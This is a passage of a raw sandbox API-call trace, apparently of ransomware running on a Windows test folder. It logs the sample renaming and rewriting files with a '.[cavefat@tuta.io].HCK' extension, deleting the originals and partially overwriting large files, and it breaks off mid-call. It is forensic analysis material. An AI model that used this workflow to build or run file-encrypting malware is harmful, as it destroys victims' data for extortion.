(lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.365] lstrlenW (lpString=".doc") returned 4 [0151.365] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0151.365] lstrlenW (lpString=".docx") returned 5 [0151.365] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0151.365] lstrlenW (lpString=".pdf") returned 4 [0151.365] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0151.365] lstrlenW (lpString=".xls") returned 4 [0151.365] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0151.365] lstrlenW (lpString=".xlsx") returned 5 [0151.365] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0151.365] lstrlenW (lpString=".ppt") returned 4 [0151.365] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.365] lstrlenW (lpString=".zip") returned 4 [0151.365] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0151.365] lstrlenW (lpString=".rar") returned 4 [0151.365] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0151.365] lstrlenW (lpString=".bz2") returned 4 [0151.365] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0151.365] lstrlenW (lpString=".7z") returned 3 [0151.365] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.365] lstrlenW (lpString=".dbf") returned 4 [0151.365] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.365] lstrlenW (lpString=".1cd") returned 4 [0151.365] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.365] lstrlenW (lpString=".jpg") returned 4 [0151.365] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0151.365] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.366] lstrlenW (lpString=".doc") returned 4 [0151.366] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0151.366] lstrlenW (lpString=".docx") returned 5 [0151.366] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0151.366] lstrlenW (lpString=".pdf") returned 4 [0151.366] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0151.366] lstrlenW (lpString=".xls") returned 4 [0151.366] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0151.366] lstrlenW (lpString=".xlsx") returned 5 [0151.366] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0151.366] lstrlenW (lpString=".ppt") returned 4 [0151.366] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0151.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.366] lstrlenW (lpString=".zip") returned 4 [0151.366] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0151.366] lstrlenW (lpString=".rar") returned 4 [0151.366] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0151.366] lstrlenW (lpString=".bz2") returned 4 [0151.366] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0151.366] lstrlenW (lpString=".7z") returned 3 [0151.366] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0151.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.366] lstrlenW (lpString=".dbf") returned 4 [0151.366] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0151.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.366] lstrlenW (lpString=".1cd") returned 4 [0151.366] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0151.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0151.366] lstrlenW (lpString=".jpg") returned 4 [0151.366] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0151.366] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0151.366] lstrlenW (lpString="SetupUi.dll") returned 11 [0151.366] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.367] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=295248) returned 1 [0151.367] CloseHandle (hObject=0x368) returned 1 [0151.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0151.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.367] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.367] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0151.367] GetLastError () returned 0x0 [0151.367] ReadFile (in: hFile=0x368, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x48150, lpOverlapped=0x0) returned 1 [0151.377] WriteFile (in: hFile=0x300, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x48160, lpOverlapped=0x0) returned 1 [0151.381] ReadFile (in: hFile=0x368, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.381] WriteFile (in: hFile=0x300, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0151.381] SetEndOfFile (hFile=0x300) returned 1 [0151.381] CloseHandle (hObject=0x300) returned 1 [0151.386] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.386] SetEndOfFile (hFile=0x368) returned 1 [0151.389] CloseHandle (hObject=0x368) returned 1 [0151.389] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.389] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0151.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.389] lstrlenW (lpString=".doc") returned 4 [0151.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.389] lstrlenW (lpString=".docx") returned 5 [0151.389] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0151.389] lstrlenW (lpString=".pdf") returned 4 [0151.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.389] lstrlenW (lpString=".xls") returned 4 [0151.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.389] lstrlenW (lpString=".xlsx") returned 5 [0151.389] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0151.389] lstrlenW (lpString=".ppt") returned 4 [0151.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.389] lstrlenW (lpString=".zip") returned 4 [0151.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.389] lstrlenW (lpString=".rar") returned 4 [0151.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString=".bz2") returned 4 [0151.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.390] lstrlenW (lpString=".7z") returned 3 [0151.390] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".dbf") returned 4 [0151.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".1cd") returned 4 [0151.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".jpg") returned 4 [0151.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".doc") returned 4 [0151.390] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString=".docx") returned 5 [0151.390] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0151.390] lstrlenW (lpString=".pdf") returned 4 [0151.390] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString=".xls") returned 4 [0151.390] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString=".xlsx") returned 5 [0151.390] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0151.390] lstrlenW (lpString=".ppt") returned 4 [0151.390] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".zip") returned 4 [0151.390] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString=".rar") returned 4 [0151.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.390] lstrlenW (lpString=".bz2") returned 4 [0151.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.390] lstrlenW (lpString=".7z") returned 3 [0151.390] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".dbf") returned 4 [0151.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".1cd") returned 4 [0151.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0151.390] lstrlenW (lpString=".jpg") returned 4 [0151.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.390] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0151.391] lstrlenW (lpString="SetupUtility.exe") returned 16 [0151.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.391] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=96088) returned 1 [0151.391] CloseHandle (hObject=0x368) returned 1 [0151.391] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0151.391] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.391] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.391] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0151.391] GetLastError () returned 0x0 [0151.391] ReadFile (in: hFile=0x368, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x17758, lpOverlapped=0x0) returned 1 [0151.874] WriteFile (in: hFile=0x300, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x17760, lpOverlapped=0x0) returned 1 [0151.876] ReadFile (in: hFile=0x368, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.876] WriteFile (in: hFile=0x300, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0151.876] SetEndOfFile (hFile=0x300) returned 1 [0151.876] CloseHandle (hObject=0x300) returned 1 [0151.878] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.878] SetEndOfFile (hFile=0x368) returned 1 [0151.880] CloseHandle (hObject=0x368) returned 1 [0151.880] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.880] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0151.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.880] lstrlenW (lpString=".doc") returned 4 [0151.880] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.880] lstrlenW (lpString=".docx") returned 5 [0151.880] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0151.880] lstrlenW (lpString=".pdf") returned 4 [0151.880] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.880] lstrlenW (lpString=".xls") returned 4 [0151.880] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.880] lstrlenW (lpString=".xlsx") returned 5 [0151.880] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0151.880] lstrlenW (lpString=".ppt") returned 4 [0151.880] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.880] lstrlenW (lpString=".zip") returned 4 [0151.880] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString=".rar") returned 4 [0151.881] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString=".bz2") returned 4 [0151.881] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.881] lstrlenW (lpString=".7z") returned 3 [0151.881] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".dbf") returned 4 [0151.881] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".1cd") returned 4 [0151.881] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".jpg") returned 4 [0151.881] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".doc") returned 4 [0151.881] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.881] lstrlenW (lpString=".docx") returned 5 [0151.881] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0151.881] lstrlenW (lpString=".pdf") returned 4 [0151.881] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString=".xls") returned 4 [0151.881] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString=".xlsx") returned 5 [0151.881] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0151.881] lstrlenW (lpString=".ppt") returned 4 [0151.881] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".zip") returned 4 [0151.881] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString=".rar") returned 4 [0151.881] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.881] lstrlenW (lpString=".bz2") returned 4 [0151.881] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.881] lstrlenW (lpString=".7z") returned 3 [0151.881] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".dbf") returned 4 [0151.881] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.881] lstrlenW (lpString=".1cd") returned 4 [0151.881] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0151.882] lstrlenW (lpString=".jpg") returned 4 [0151.882] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.882] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0151.882] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0151.882] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.882] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=5091790) returned 1 [0151.882] CloseHandle (hObject=0x368) returned 1 [0151.882] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0151.882] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.882] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0151.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.883] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0151.883] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.883] ReadFile (in: hFile=0x368, lpBuffer=0x34d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x34d1058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.886] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.886] ReadFile (in: hFile=0x368, lpBuffer=0x3511058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3511058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.890] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.890] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.890] ReadFile (in: hFile=0x368, lpBuffer=0x3551058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3551058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.906] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.906] WriteFile (in: hFile=0x368, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0152.347] SetEndOfFile (hFile=0x368) returned 1 [0152.535] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e46038 [0152.539] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0152.539] WriteFile (in: hFile=0x368, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.540] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0152.540] WriteFile (in: hFile=0x368, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.542] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0152.542] WriteFile (in: hFile=0x368, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.543] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e46038 | out: hHeap=0x6b0000) returned 1 [0152.545] CloseHandle (hObject=0x368) returned 1 [0154.042] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0154.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0154.541] lstrlenW (lpString=".doc") returned 4 [0154.541] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0154.541] lstrlenW (lpString=".docx") returned 5 [0154.541] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0154.541] lstrlenW (lpString=".pdf") returned 4 [0154.541] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0154.541] lstrlenW (lpString=".xls") returned 4 [0154.541] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0154.541] lstrlenW (lpString=".xlsx") returned 5 [0154.541] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0154.541] lstrlenW (lpString=".ppt") returned 4 [0154.544] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0154.544] lstrlenW 